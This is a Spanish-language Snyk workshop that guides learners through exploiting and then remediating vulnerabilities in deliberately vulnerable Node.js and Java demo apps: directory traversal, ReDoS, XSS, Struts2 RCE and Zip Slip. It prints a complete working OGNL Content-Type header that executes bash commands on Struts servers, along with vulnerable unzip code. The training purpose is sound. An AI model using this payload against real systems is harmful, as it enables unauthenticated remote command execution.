snyk-labs/exploit-workshopUn taller paso a paso para explotar diversas vulnerabilidades en aplicaciones Node.js y Java
En este taller paso a paso aprenderás cómo explotar varias vulnerabilidades del mundo real que existen en versiones vulnerables de paquetes en una aplicación Node.js y Java.
Puedes realizar este taller de 2 formas diferentes
O
Este taller te guiará a través de la instalación y explotación de varias aplicaciones intencionalmente vulnerables. Las aplicaciones utilizarán paquetes del mundo real con vulnerabilidades conocidas, que incluyen:
Estas vulnerabilidades existen en varias aplicaciones, la mayoría de las cuales necesitarás instalar localmente o en una instancia en la nube. Las instrucciones a continuación te guiarán a través de las instalaciones locales, pero también puedes probarlas en instancias remotas en la nube.
Para cada sección de vulnerabilidad en este taller, recibirás información sobre la vulnerabilidad y el paquete en el que existe. Se te anima a intentar hackear la aplicación mediante prueba y error sin leer ninguna pista al principio. Intenta pensar cómo podrías engañar la sanitización de la aplicación y ponte en la mentalidad de un hacker. Las pistas están ahí para cuando te atasques, así que léelas en orden según necesites ayuda. Si puedes completar el hack sin pistas, ¡genial! Sin embargo, puede ser bueno leer las pistas después para asegurarte de que entraste de la misma manera que nosotros. Además, puede haber pequeños consejos que aprender también.
Dependiendo de tu elección, elige el manual de instalación adecuado
Desde tu navegador favorito, navega a http://localhost:3001 y deberías ver la siguiente página.
Tómate unos minutos explorando el sitio y, en particular, crea algunos elementos de la lista de tareas, usando texto normal "Comprar leche" así como usando markdown "Comprar **mucha** leche". También navega a la modesta página "Acerca de" enlazada desde la parte inferior de la página de inicio. Disfruta del CSS utilizado para crear esta página. Nota: las PRs enviadas para mejorar esta página no serán fusionadas ;o)
Primero, veámoslo desde el lado azul (defensivo). Haz un fork de la aplicación goof a tu propia cuenta de GitHub. La aplicación se encuentra en GitHub aquí: https://github.com/snyk/goof. Necesitamos escanear nuestra aplicación para entender las dependencias directas e indirectas que existen en la aplicación, así como las vulnerabilidades en cada biblioteca. Para hacer esto, navega a https://snyk.io y haz clic en "Registrarse" o "Iniciar sesión" (si ya eres usuario), en la parte superior derecha del sitio:
Haz clic en el botón "Iniciar sesión con tu GitHub":
A continuación, importa el proyecto goof que acabas de clonar. Selecciona goof de tu lista de repositorios de GitHub y haz clic en el botón "Importar proyectos" en la parte superior derecha de la ventana.
Cuando el proyecto haya sido escaneado, lo verás en tu panel de control:
Haz clic en el enlace package.json para ver la página del proyecto, que incluye la lista completa de vulnerabilidades de seguridad:
Puedes hacer clic en las pestañas de problemas y dependencias para ver más información sobre las vulnerabilidades y su remediación, así como dónde están siendo introducidas por tu aplicación. Notarás hacia el final de la lista de vulnerabilidades una vulnerabilidad de directory traversal en el paquete st. Veamos esto con más detalle.
Un ataque de Directory Traversal (también conocido como path traversal) tiene como objetivo acceder a archivos y directorios que están almacenados fuera de la carpeta prevista. Manipulando archivos con secuencias "punto-punto-barra" (../) y sus variaciones, o usando rutas de archivo absolutas, es posible acceder a archivos y directorios arbitrarios almacenados en el sistema de archivos, incluyendo código fuente de la aplicación, configuración y otros archivos críticos del sistema.
Las vulnerabilidades de Directory Traversal se pueden dividir generalmente en dos tipos:
El paquete en la aplicación goof que contiene una vulnerabilidad de directory traversal que explotaremos es el paquete st. Echa un vistazo a la documentación de st y familiarízate con la biblioteca.
Ahora deberías saber qué es directory traversal, qué hace el paquete st y puedes proceder a hackear la aplicación — ¡estás de vuelta en el equipo rojo! Busca en la aplicación dónde podría usarse el paquete st e intenta navegar a un directorio al que no deberías tener acceso.
Aquí hay algunas pistas para darte pistas si te atas — trata de no mirarlas hasta que ya hayas intentado por tu cuenta.
Haz clic para ver Pista 1.
Haz clic para ver Pista 2.
Haz clic para ver Pista 3.
Haz clic para ver Pista 4.
Haz clic para ver Pista 5.
Haz clic para ver Pista 6.
Haz clic para ver Pista 7.
Haz clic para ver Pista 8.
Haz clic para ver Pista 9.
Navega por tu sistema de archivos como si fueras un atacante para encontrar 3 piezas de información sensible en tu máquina que quizás no querrías que un atacante viera.
Haz clic para ver Pista 10.
Echa un vistazo a la descripción de la vulnerabilidad, incluyendo la puntuación CVSS: https://snyk.io/vuln/npm:st:20140206. ¿Por qué crees que la vulnerabilidad es de gravedad media, en lugar de alta?
De vuelta en la página del proyecto de Snyk, encuentra la vulnerabilidad de directory traversal en el paquete st y mira el consejo de remediación. Verás que solo hay una única ruta a esta vulnerabilidad en la aplicación, y el paquete st es una dependencia directa, por lo que la remediación no debería ser demasiado complicada. Podemos ver que necesitamos actualizar la versión del paquete st a 0.2.5. Podemos hacer esto automáticamente, haciendo clic en el botón "Corregir esta vulnerabilidad".
Verás una lista de tus vulnerabilidades, y solo la vulnerabilidad de st debería estar seleccionada. Desplázate hasta la parte inferior de la página y haz clic en "Abrir un PR de corrección":
Echa un vistazo a los cambios de código en la solicitud de pull en la pestaña "Archivos modificados":
Asegúrate de que las pruebas de tu nuevo PR no introduzcan ningún nuevo problema de seguridad o licencia que haya fallado. Estos se encuentran en la pestaña de conversación del PR:
Cuando estés satisfecho con el PR, fusiona los cambios.
Si estás ejecutando la aplicación localmente, detenla presionando Ctrl+C en la ventana donde ejecutaste npm start. Obtén el código más reciente desde GitHub ejecutando git fetch. Descarga la nueva versión de st ejecutando npm install y luego inicia tu aplicación nuevamente, usando npm start.
Intenta tus hackeos de nuevo. ¡Felicidades!, has remediado la vulnerabilidad y ahora deberías ser redirigido a la página de inicio cada vez que intentes salir de la carpeta pública.
Echa un vistazo a la descripción de una vulnerabilidad ReDoS en tu escaneo de Snyk:
Esta vulnerabilidad en el paquete ms será la que romperemos en la aplicación goof. Usa el siguiente comando para agregar un elemento de la lista de tareas que contenga una representación de tiempo en cadena:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
La biblioteca ms ha coincidido con un patrón de tiempo en tu cadena de entrada de contenido. Esto se representa de manera ligeramente diferente en la página web de goof.
Usando tu conocimiento de cómo funciona ReDoS, intenta pasar una cadena de contenido que cause un retardo notable, o una denegación de servicio para otros usuarios. Ten en cuenta que mientras se procesa la solicitud, la página web almacenará en búfer cualquiera de tus solicitudes posteriores hasta que se maneje tu primera solicitud.
Haz clic para ver [Pista 1](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint1.md).
Haz clic para ver [Pista 2](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint2.md).
Haz clic para ver [Pista 3](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint3.md).
Haz clic para ver [Pista 4](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint4.md).
Haz clic para ver [Pista 5](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint5.md).
Piensa en cómo podrías evitar programáticamente este ataque en el código de tu aplicación.
### Remediar la vulnerabilidad
De vuelta en la página del proyecto snyk, encuentra la vulnerabilidad de denegación de servicio por expresión regular en el paquete ```ms``` y revisa el consejo de remediación. Verás que solo hay una única ruta a esta vulnerabilidad en la aplicación, y el paquete ```ms``` es una dependencia indirecta, siendo traído por el paquete ```humanize-ms```. Podemos ver que necesitamos actualizar la versión de ```humanize-ms``` a ```1.0.2```. Esto traerá el paquete ```ms``` en una versión corregida. Haz clic en "Arreglar esta vulnerabilidad" nuevamente y crea un PR.
Después de actualizar tu aplicación, intenta tus hacks nuevamente. *¡Felicidades!*, has remediado la vulnerabilidad.
## Cross Site Scripting (XSS)
Los ataques XSS ocurren cuando un atacante engaña al navegador de un usuario para ejecutar código JavaScript malicioso en el contexto del dominio de la víctima. Dichos scripts pueden robar las cookies de sesión del usuario para el dominio, raspar o modificar su contenido, y realizar o modificar acciones en nombre del usuario, acciones típicamente bloqueadas por la Política del Mismo Origen del navegador.
Estos ataques son posibles al escapar del contexto de la aplicación web e inyectar scripts maliciosos en un sitio web que de otro modo sería de confianza. Estos scripts pueden introducir atributos adicionales (por ejemplo, una opción "nueva" en una lista desplegable o un nuevo enlace a un sitio malicioso) y potencialmente ejecutar código del lado del cliente, sin que la víctima lo sepa. Esto ocurre cuando caracteres como ```< > " '``` no se escapan correctamente.
Existen algunos tipos de XSS:
* *XSS persistente* es un ataque en el que el código malicioso persiste en la base de datos de la aplicación web.
* *XSS reflejado* es un ataque en el que el sitio web refleja una parte de la solicitud. El atacante necesita engañar al usuario para que haga clic en un enlace malicioso (por ejemplo, a través de un correo electrónico de phishing o JS malicioso en otra página), lo que desencadena el ataque XSS.
* *XSS basado en DOM* es un ataque que ocurre puramente en el navegador cuando JavaScript del lado del cliente refleja una parte de la URL en la página. El XSS basado en DOM es notoriamente difícil de detectar, ya que el servidor nunca tiene la oportunidad de ver el ataque en curso.
La vulnerabilidad existe en la biblioteca marked. Esta biblioteca nos permite ingresar texto markdown en el cuadro de entrada de tareas y hacer que el texto resultante se muestre en negrita, o lo que tu corazón desee. Ahora que estás más que familiarizado con esta compleja aplicación multipágina, ten en cuenta el paquete que es vulnerable.
Para empezar, intentemos mostrar la alerta '1'. Muy cliché, ¿verdad?
Haz clic para ver [Pista 1](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint1.md).
Haz clic para ver [Pista 2](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint2.md).
Haz clic para ver [Pista 3](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint3.md).
Haz clic para ver [Pista 4](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint4.md).
Haz clic para ver [Pista 5](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint5.md).
Haz clic para ver [Pista 6](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint6.md).
Haz clic para ver [Pista 7](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint7.md).
Haz clic para ver [Pista 8](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint8.md).
Una vez que hayas podido ejecutar algo de JavaScript que cree una alerta, como se muestra a continuación. ¡Puedes intentar algo un poco más complicado para obtener información sensible!
### Remediar la vulnerabilidad
De vuelta en la página del proyecto snyk, encuentra la vulnerabilidad XSS en el paquete ```marked``` y revisa el consejo de remediación. Verás que solo hay una única ruta a esta vulnerabilidad en la aplicación, y el paquete ```marked``` es una dependencia directa. Podemos ver que necesitamos actualizar ```marked``` a la versión ```0.3.9```. Haz clic en "Arreglar esta vulnerabilidad" nuevamente y crea un PR.
Después de actualizar tu aplicación, intenta tus hacks nuevamente. Felicidades, has remediado la vulnerabilidad XSS y ya no deberías poder incrustar JavaScript en la página web.
# Instalación de Java Goof
Dependiendo de tu elección, elige el manual de instalación adecuado:
* usando [Imágenes Docker](https://github.com/snyk-labs/exploit-workshop/blob/main/install/javagoof_docker.md)
* instalar en [Máquina local](https://github.com/snyk-labs/exploit-workshop/blob/main/install/javagoof_local.md)
Desde un navegador, navega a la siguiente URL: [http://localhost:8080/](http://localhost:8080/)
Verás esta aplicación. Se ve mejor que la aplicación Node. Porque Java es mejor que Node. Hecho.
Haz clic en “Iniciar sesión” y usa las siguientes credenciales:```
Username: [email protected]
Password: foobar
Cuando hayas iniciado sesión, verás una serie de entradas de tareas pendientes. Si haces clic en "Acerca de" en la parte superior de la pantalla, verás que la aplicación usa Spring, Hibernate y Apache Struts. ¡Es muy amable de parte de la aplicación proporcionarnos estos datos! Los sitios web no suelen ser tan amables :)
De vuelta en el equipo azul (defensivo), ahora. Necesitamos escanear nuestra aplicación para comprender las dependencias directas e indirectas que existen en la aplicación, así como las vulnerabilidades en cada biblioteca. Haz un fork de Java Goof a tu propia cuenta de GitHub. La aplicación se encuentra en GitHub aquí: https://github.com/snyk/java-goof
Si ya tienes una cuenta de Snyk de antes en el taller, solo necesitas añadir el repositorio de Java Goof en el panel de Snyk. Si no lo has hecho, crea tu cuenta de la siguiente manera:
Navega a https://snyk.io si aún no lo has hecho, haz clic en "Iniciar sesión" o "Registrarse" en la parte superior derecha del sitio.
Haz clic en el botón "Iniciar sesión con tu GitHub":
Importa el proyecto goof que acabas de clonar anteriormente. Haz clic en el enlace de Integraciones que se muestra a continuación:
Desde aquí, selecciona la integración de GitHub y selecciona java-goof de tu lista de repositorios de GitHub y haz clic en el botón "Agregar repositorios seleccionados" en la parte superior derecha de la ventana.
Cuando el proyecto haya sido escaneado, lo verás en tu panel:
Haz clic en el enlace todolist-web-struts/pom.xml para ver la lista completa de vulnerabilidades de seguridad para esa parte del proyecto:
La vulnerabilidad existe en el paquete org.apache.struts:struts2-core.
Las versiones afectadas del paquete son vulnerables a la Ejecución Arbitraria de Comandos al cargar archivos con el analizador Jakarta Multipart. Esta vulnerabilidad en particular puede ser explotada por un atacante enviando una solicitud manipulada para cargar un archivo al servidor vulnerable que utiliza un plugin basado en Jakarta para procesar la solicitud de carga.
El atacante puede entonces enviar código malicioso en los encabezados HTTP Content-Type, Content-Disposition o Content-Length, que luego será ejecutado por el servidor vulnerable. Una prueba de concepto que demuestra el escenario de ataque está disponible públicamente y la vulnerabilidad está siendo explotada activamente en la naturaleza.
Aunque los mantenedores del proyecto de código abierto parchearon inmediatamente la vulnerabilidad, los servidores Struts que aún no han instalado la actualización continúan siendo atacados por hackers que la explotan para inyectar comandos de su elección.
Este ataque se puede lograr sin autenticación. Para empeorar las cosas, las aplicaciones web no necesitan necesariamente cargar con éxito un archivo malicioso para explotar esta vulnerabilidad, ya que la simple presencia de la biblioteca Struts vulnerable dentro de una aplicación es suficiente para explotar la vulnerabilidad.
Aquí tienes un ejemplo de encabezado que puede explotar la vulnerabilidad. Observa que el tipo de contenido comienza con %{.```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Notarás que se crea un ```ProcessBuilder``` y como resultado se ejecutará un comando bash.
Hackea la aplicación haciendo una solicitud HTTP GET a la aplicación, enviando este encabezado en la solicitud.
Haz clic para ver [Pista 1](https://github.com/snyk-labs/exploit-workshop/blob/main/struts/hint1.md).
Haz clic para ver [Pista 2](https://github.com/snyk-labs/exploit-workshop/blob/main/struts/hint2.md).
A este punto ya deberías haber ejecutado un comando remoto, como el comando env para recuperar las variables de entorno de tu máquina:
En este estado ahora tienes derechos de ejecución en la máquina mediante el uso de curl a una URL. Continúa ejecutando otros comandos para ver qué puedes aprender sobre la máquina y también ejecutar en la máquina.
# Zip Slip
Crea un nuevo proyecto Maven en tu IDE favorito. No te juzgaré. Agrega una nueva dependencia en tu archivo ```pom.xml```.```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
En este repositorio, encontrarás un archivo zip-slip.zip. Descárgalo y ejecuta el siguiente comando en el archivo para ver la salida. Espero que sepas cómo funciona este hack una vez que veas la salida.``` $ jar -tvf zip-slip.zip
## La vulnerabilidad Zip Slip
Zip Slip es una forma de recorrido de directorios que puede ser explotada al extraer archivos de un archivo comprimido. La premisa de la vulnerabilidad de recorrido de directorios es que un atacante puede obtener acceso a partes del sistema de archivos fuera de la carpeta de destino en la que deberían residir. El atacante puede entonces sobrescribir archivos ejecutables e invocarlos de forma remota o esperar a que el sistema o el usuario los llamen, logrando así la ejecución remota de comandos en la máquina de la víctima. La vulnerabilidad también puede causar daños al sobrescribir archivos de configuración u otros recursos sensibles, y puede ser explotada tanto en máquinas cliente (usuario) como en servidores.
Las dos partes necesarias para explotar esta vulnerabilidad son un archivo malicioso y un código de extracción que no realiza comprobaciones de validación. Revisemos cada una de ellas por turno. En primer lugar, el contenido del archivo zip debe tener uno o más archivos que salgan del directorio de destino al ser extraídos. En el ejemplo de ```zip-slip.zip```, podemos ver dos archivos: un archivo ```good.txt``` que se extraería en el directorio de destino y un archivo ```evil.txt``` que intenta ascender en el árbol de directorios hasta el directorio ```/tmp```. Notará que hay muchos niveles de ```../``` para que el archivo tenga más posibilidades de llegar al directorio raíz, antes de intentar recorrer hasta el directorio ```/tmp``` desde el directorio raíz.
Use la utilidad de descompresión de ```zt-zip``` que se encuentra en ```ZipUtil``` para extraer el archivo y observe dónde aparecen ```good.txt``` y ```evil.txt``` en su sistema de archivos.
Haga clic para ver [Pista 1](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint1.md).
Haga clic para ver [Pista 2](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint2.md).
Una vez que haya descomprimido el archivo evil.txt en su directorio tmp, eche un vistazo a la información de la vulnerabilidad ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)).
### ¡Arregle la vulnerabilidad!
Haga clic para ver [Pista 3](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint3.md).
Haga clic para ver [Pista 4](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint4.md).
Ahora que ha corregido la vulnerabilidad en su dependencia ```zt-zip```, veamos el código que se puede usar para hacer esto en Java. Tenga en cuenta que usamos la biblioteca Apache Commons IO en este ejemplo para realizar la copia de archivos en la línea 8.```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
Sustituyamos nuestra invocación anterior de ZipUtil.unpack por este código. Elimina los archivos good.txt y evil.txt de tu sistema de archivos y ejecuta la aplicación nuevamente. Notarás que el archivo evil.txt llega una vez más al directorio /tmp.
Identifica qué líneas de código anteriores son las culpables y arréglalas!
Haz clic para ver Pista 5.
Haz clic para ver Pista 6.
Haz clic para ver Pista 7.
Haz clic para ver Pista 8.
Haz clic para ver Pista 9.
Una vez que hayas codificado tu solución de manera defensiva, consulta nuestra muestra de código final en Pista 9 para ver cómo se compara con tu versión. ¿Incluiste el separador de archivo final en la línea 9? Esto asegura que el directorio no solo comience con el nombre de directorio que hemos elegido, sino que sea el directorio que elegimos para extraer los archivos.
Gracias por participar en este taller. Si ves algún error tipográfico o sugieres pistas adicionales, ¡envíanos un PR!